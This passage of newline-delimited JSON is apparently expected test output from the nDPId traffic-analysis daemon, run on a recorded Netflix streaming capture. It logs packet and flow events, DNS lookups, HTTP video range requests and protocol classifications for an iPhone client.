+00952{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1917,"source":"netflix.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":4,"flow_first_seen":1484319064590,"flow_last_seen":1484319064634,"flow_tot_l4_data_len":653,"flow_min_l4_data_len":32,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":163,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.3.140","src_port":53183,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.3.140","url":"23.246.3.140\/?o=AQEfKq2oMrLRiWL-p-VeIZ6WKRq-X6LMvaLqgxWBCuFbh09MpreORUUOO5Tx1683HPnLY6BPjN_9mlDuYihGZoXu9u0ozH8RFioBN_JDNiRscidjvoSdWmlyZgPNansW0lkBr4X81HvloOi8BS_exVSPhMyJQTB5bg&v=3&e=1484347850&t=-8u4vlcPuFqcOLnLyb9DDtK-bB4","code":0,"content_type":"","user_agent":"AppleCoreMedia\/1.0.0.14C92 (iPhone; U; CPU OS 10_2 like Mac OS X; en_us)"}} +01189{"flow_id":46,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1920,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":666580,"pkt_caplen":635,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":635,"pkt_l4_len":601,"pkt":"5JjWH70UgCqoTGHMCABFIAJtAABAADsGWDkX9guNwKgBBwBQz8BQi7Oj89d7HIAQCAKAjwAAAQEICmLwwQkfZS+ySFRUUC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudA0KU2VydmVyOiBuZ2lueA0KRGF0ZTogRnJpLCAxMyBKYW4gMjAxNyAxNDo1MTowNCBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMjA1OQ0KTGFzdC1Nb2RpZmllZDogTW9uLCAxNCBEZWMgMjAxNSAxMDo1ODozOCBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlDQpQcmFnbWE6IG5vLWNhY2hlDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNCkFjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBYLVRDUC1JbmZvLFgtU2Vzc2lvbi1JbmZvDQpYLVRDUC1JbmZvOiBoMD0zODc0NDA1MjkxO2gxPTE2OTUxOTc4MzY7aDI9MzkxNzk2ODQ1MztoMz0xNjgzNjM2NjM2O2g0PTEyNTE5MTU3NTQ7DQpYLVNlc3Npb24tSW5mbzogYWRkcj03My4yMDMuMTA3LjIzO3BvcnQ9NTMxODQ7YXJncD02LnNOYzBEWFNmOFRIRTNmNHk4VnVObGtUSExzRW5RMUNLY2tDN3VzdzJ2YkENCkNvbnRlbnQtUmFuZ2U6IGJ5dGVzIDAtMjA1OC81MTgzODA5MA0KDQo="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1921,"source":"netflix.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1484319064669,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53193,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1921,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":669455,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAhwJAAEAGqhTAqAEHNr8RM8\/JAbsptVYdAAAAALAC\/\/+MwgAAAgQFtAEDAwUBAQgKH2Uv3QAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1922,"source":"netflix.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1484319064671,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53202,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1922,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":671268,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAbOBAAEAGxDbAqAEHNr8RM8\/SAbtTxg2UAAAAALAC\/\/+rMAAAAgQFtAEDAwUBAQgKH2Uv3gAAAAAEAgAA"} +02364{"flow_id":46,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1923,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":671943,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +00428{"flow_id":46,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1924,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":673475,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0qPNAAEAGrJ7AqAEHF\/YLjc\/AAFDz13scUIu7hIAQD9bDXwAAAQEICh9lL+Fi8MEJ"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1925,"source":"netflix.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1484319064683,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":60962,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1925,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":683828,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"gCqoTGHM5JjWH70UCABFAABFcJ0AAP8Rx7HAqAEHwKgBAe4iADUAMSObED0BAAABAAAAAAAAB2ljaG5hZWEDZ2VvB25ldGZsaXgDY29tAAABAAE="} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1925,"source":"netflix.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1484319064683,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":60962,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ichnaea.geo.netflix.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +01186{"flow_id":45,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1926,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":684712,"pkt_caplen":632,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":632,"pkt_l4_len":598,"pkt":"5JjWH70UgCqoTGHMCABFIAJqAABAADgGYz0X9gOMwKgBBwBQz78\/hnHNawM1jIAQCALNywAAAQEICm8f7y8fZS+zSFRUUC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudA0KU2VydmVyOiBuZ2lueA0KRGF0ZTogRnJpLCAxMyBKYW4gMjAxNyAxNDo1MTowNCBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogODk5DQpMYXN0LU1vZGlmaWVkOiBXZWQsIDAyIERlYyAyMDE1IDEzOjA0OjU0IEdNVA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUNClByYWdtYTogbm8tY2FjaGUNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQWNjZXNzLUNvbnRyb2wtRXhwb3NlLUhlYWRlcnM6IFgtVENQLUluZm8sWC1TZXNzaW9uLUluZm8NClgtVENQLUluZm86IGgwPTE4NzYyODM3MjU7aDE9NDA2NDkwMzk0NDtoMj00MDQyNzE1Mjg1O2gzPTU1ODU2Mjg0MztoND0zODg1NTExNTIyOw0KWC1TZXNzaW9uLUluZm86IGFkZHI9NzMuMjAzLjEwNy4yMztwb3J0PTUzMTgzO2FyZ3A9Ni5zTmMwRFhTZjhUSEUzZjR5OFZ1TmxrVEhMc0VuUTFDS2NrQzd1c3cydmJBDQpDb250ZW50LVJhbmdlOiBieXRlcyAwLTg5OC8zMjQ2ODMzNQ0KDQo="} +01632{"flow_id":45,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1927,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":690004,"pkt_caplen":965,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":965,"pkt_l4_len":931,"pkt":"5JjWH70UgCqoTGHMCABFIAO3AABAADgGYfAX9gOMwKgBBwBQz78\/hnQDawM1jIAYCAJbiAAAAQEICm8f7y8fZS+zAAAAIGZ0eXBtcDQyAAAAAGlzb21pc28yZGFzaGlzbzYAAABsdXVpZE5ldGZsaXhQaWZmU3RybSEBAAAAAAAAAAHvbQsAAAAAAJiWgAAAAAYupEAAAAAAAAAA4x8AAAAAAe4nkAAAAAAAAIA7AABi5AAAAAAAAAODAAA+aP3QyWlgzDIljZh5Z7N\/JK4AAAAYZnJlZQAAAAAAAAAAAAAAAAAAAAAAAABMdXVpZOLpAqV+Q+JBkNohIRjFZDIAAAAAAAAAANKD0PxOZXRmbGl4IE1lZGlhIExpYnJhcnkgVmVyc2lvbiA4MC4wLjM5MC4AAAACk21vb3YAAAB4bXZoZAEAAAAAAAAA0oPRAgAAAADSg9ECAJiWgAAAAAAAAAAAAAEAAAEAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHXdHJhawAAAGh0a2hkAQAABwAAAADSg9ECAAAAANKD0QIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAABZ21kaWEAAAAsbWRoZAEAAAAAAAAA0oPRAgAAAADSg9ECAABdwAAAAAAAAAAAVcQAAAAAADRoZGxyAAAAAAAAAABzb3VuAAAAAAAAAAAAAAAAQXVkaW8gTWVkaWEgSGFuZGxlcgAAAAD\/bWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADDc3RibAAAABBzdHRzAAAAAAAAAAAAAAAQY3R0cwAAAAAAAAAAAAAAZ3N0c2QAAAAAAAAAAQAAAFdtcDRhAAAAAAAAAAEAAAAAAAAAAAACABAAAAAAXcAAAAAAADNlc2RzAAAAAAOAgIAiAAAABICAgBRAFQADPgACWzIAAX0sBYCAgAITEAaAgIABAgAAABBzdHNjAAAAAAAAAAAAAAAUc3RzegAAAAAAAAAAAAAAAAAAABBzdGNvAAAAAAAAAAAAAAA8bXZleAAAABRtZWhkAQAAAAAAAAYupEAAAAAAIHRyZXgAAAAAAAAAAQAAAAEAAAAAAAAAAAKgAAA="} +00429{"flow_id":45,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1928,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":691370,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0Q4hAAEAGGgvAqAEHF\/YDjM+\/AFBrAzWMP4Z3hoAQD+e0UwAAAQEICh9lL\/FvH+8v"} +01117{"flow_id":45,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1929,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":697512,"pkt_caplen":578,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":578,"pkt_l4_len":544,"pkt":"gCqoTGHM5JjWH70UCABFAAI0e3JAAEAG4CDAqAEHF\/YDjM+\/AFBrAzWMP4Z3hoAYEAC+hwAAAQEICh9lL\/ZvH+8vR0VUIC8\/bz1BUUVmS3Eyb01yTFJpV0wtcC1WZUlaNldLUnEtWDZMTXZhTHFneFdCQ3VGYmgwOU1wcmVPUlVVT081VHgxNjgzSFBuTFk2QlBqTl85bWxEdVlpaEdab1h1OXUwb3pIOFJGaW9CTl9KRE5pUnNjaWRqdm9TZFdtbHlaZ1BOYW5zVzBsa0JyNFg4MUh2bG9PaThCU19leFZTUGhNeUpRVEI1Ymcmdj0zJmU9MTQ4NDM0Nzg1MCZ0PS04dTR2bGNQdUZxY09Mbkx5YjlERHRLLWJCNCBIVFRQLzEuMQ0KSG9zdDogMjMuMjQ2LjMuMTQwDQpYLVBsYXliYWNrLVNlc3Npb24tSWQ6IDQzRERBRkI5LUZFMkYtNEM2RS05QjkxLUFCMERDNDY0ODdBMQ0KUmFuZ2U6IGJ5dGVzPTU4MTQzLTE4MTE5MA0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IEFwcGxlQ29yZU1lZGlhLzEuMC4wLjE0QzkyIChpUGhvbmU7IFU7IENQVSBPUyAxMF8yIGxpa2UgTWFjIE9TIFg7IGVuX3VzKQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cw0KQWNjZXB0LUVuY29kaW5nOiBpZGVudGl0eQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00674{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1930,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":699948,"pkt_caplen":248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":248,"pkt_l4_len":214,"pkt":"5JjWH70UgCqoTGHMCABFAADq4UlAAEAR1WDAqAEBwKgBBwA17iIA1plWED2BgAABAAkAAAAAB2ljaG5hZWEDZ2VvB25ldGZsaXgDY29tAAABAAHADAAFAAEAAAAMABkHaWNobmFlYQdsYXRlbmN5BnByb2RhYcAYwDUAAQABAAAAFgAENCUk\/MA1AAEAAQAAABYABDQrZhTANQABAAEAAAAWAAQ0Iv+pwDUAAQABAAAAFgAENBhu0sA1AAEAAQAAABYABDQK7rvANQABAAEAAAAWAAQ2RB9SwDUAAQABAAAAFgAENCdXJMA1AAEAAQAAABYABDQobnM="} +00669{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1930,"source":"netflix.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":2,"flow_first_seen":1484319064683,"flow_last_seen":1484319064699,"flow_tot_l4_data_len":263,"flow_min_l4_data_len":49,"flow_max_l4_data_len":214,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":60962,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"ichnaea.geo.netflix.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.37.36.252"}} +01250{"flow_id":46,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1931,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":701577,"pkt_caplen":677,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":677,"pkt_l4_len":643,"pkt":"5JjWH70UgCqoTGHMCABFIAKXAAFAADsGWA4X9guNwKgBBwBQz8BQi7uE89d7HIAYCALq\/wAAAQEICmLwwQkfZS+yZGlhIEhhbmRsZXIAAAACG21pbmYAAAAUdm1oZAAAAAEAAAAAAAAAAAAAACRkaW5mAAAAHGRyZWYAAAAAAAAAAQAAAAx1cmwgAAAAAQAAAdtzdGJsAAAAEHN0dHMAAAAAAAAAAAAAABBjdHRzAAAAAAAAAAAAAAF\/c3RzZAAAAAAAAAABAAABb2VuY3YAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAABQADwAEgAAABIAAAAAAAAAAEKQVZDIENvZGluZwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY\/\/8AAAA3YXZjQwFNQB7\/4QAgZ01AHuiAoP2HCAAAH0gABdwHAQAbdgAJJ9JRgDxYtEgBAARo6+yyAAAAEHBhc3AAAAAEAAAAAwAAACJ1dWlkTmV0ZmxpeEZyYW1lUmF0ZQAAAAAAAF3AA+kAAABgc2luZgAAAAxmcm1hYXZjMQAAABRzY2htAAAAAHBpZmYAAQABAAAAOHNjaGkAAAAwdXVpZIl0285750xRhPlxSPmIJVQAAAAAAAABCAAAAAAD1wGdAAAAAAAAAAAAAABQc2luZgAAAAxmcm1hYXZjMQAAABRzY2htAAAAAGNlbmMAAQAAAAAAKHNjaGkAAAAgdGVuYwAAAAAAAAEIAAAAAAPXAZ0AAAAAAAAAAAAAABBzdHNjAAAAAAAAAAAAAAAUc3RzegAAAAAAAAAAAAAAAAAAABBzdGNvAAAAAAAAAAAAAAA8bXZleAAAABRtZWhkAQAAAAAAAAYukcFNAAAAIHRyZXgAAAAAAAAAAgAAAAEAAAAAAAAAAAGhAAA="} +00429{"flow_id":46,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1932,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":702977,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0bVFAAEAG6EDAqAEHF\/YLjc\/AAFDz13scUIu954AQD+zAzAAAAQEICh9lL\/ti8MEJ"} +01121{"flow_id":46,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1934,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":711443,"pkt_caplen":581,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":581,"pkt_l4_len":547,"pkt":"gCqoTGHM5JjWH70UCABFAAI3FpFAAEAGPP7AqAEHF\/YLjc\/AAFDz13scUIu954AYEAALvAAAAQEICh9lMAJi8MEJR0VUIC8\/bz1BUUVmS3Eyb01yTFJpV0wycHVOUUpKcVRJUnFoR0xqU3NldTIzVjJIWDZrSWlVOUpwYkNhQnh4YUlvejIxcVFOS3VEVWFPSVp3ZFRseDIzRE1WeGFiYkN3bXZFbHVpcERXMnR2Rk1saE1SdHdkaGhWbGJ2OUtHRmFiaXU1S0gwU2x4MFZqT0tfd3pUaHBfdmxIaFdBNGtXOWdheVlFV3RqTk5LZSZ2PTMmZT0xNDg0MzQ3ODUwJnQ9VG5QNTlKQjF3YjVVVE9DcjBtLUtRVTJrR1BvIEhUVFAvMS4xDQpIb3N0OiAyMy4yNDYuMTEuMTQxDQpYLVBsYXliYWNrLVNlc3Npb24tSWQ6IDQzRERBRkI5LUZFMkYtNEM2RS05QjkxLUFCMERDNDY0ODdBMQ0KUmFuZ2U6IGJ5dGVzPTU5MjYwLTI1Nzk1Mg0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IEFwcGxlQ29yZU1lZGlhLzEuMC4wLjE0QzkyIChpUGhvbmU7IFU7IENQVSBPUyAxMF8yIGxpa2UgTWFjIE9TIFg7IGVuX3VzKQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cw0KQWNjZXB0LUVuY29kaW5nOiBpZGVudGl0eQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1935,"source":"netflix.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1484319064711,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.37.36.252","src_port":53203,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1935,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":711690,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAfOpAAEAGov3AqAEHNCUk\/M\/TAbvE99WSAAAAALAC\/\/9grAAAAgQFtAEDAwUBAQgKH2UwAgAAAAAEAgAA"} +00438{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1937,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":722112,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGRvs2vxEzwKgBBwG7z9JcNkhzU8YNlaASOJDYrwAAAgQFtAQCCAqtilitH2Uv3gEDAwg="} +00439{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1938,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":722814,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACkGR\/s2vxEzwKgBBwG7z8mqa43KKbVWHqASOJAmtQAAAgQFtAQCCAqtilitH2Uv3QEDAwg="} +00427{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1939,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":723412,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA06mxAAEAGRrbAqAEHNr8RM8\/SAbtTxg2VXDZIdIAQEBUvyAAAAQEICh9lMA6tilit"} +00427{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1940,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":724096,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0RtdAAEAG6kvAqAEHNr8RM8\/JAbsptVYeqmuNy4AQEBV9zAAAAQEICh9lMA6tilit"} 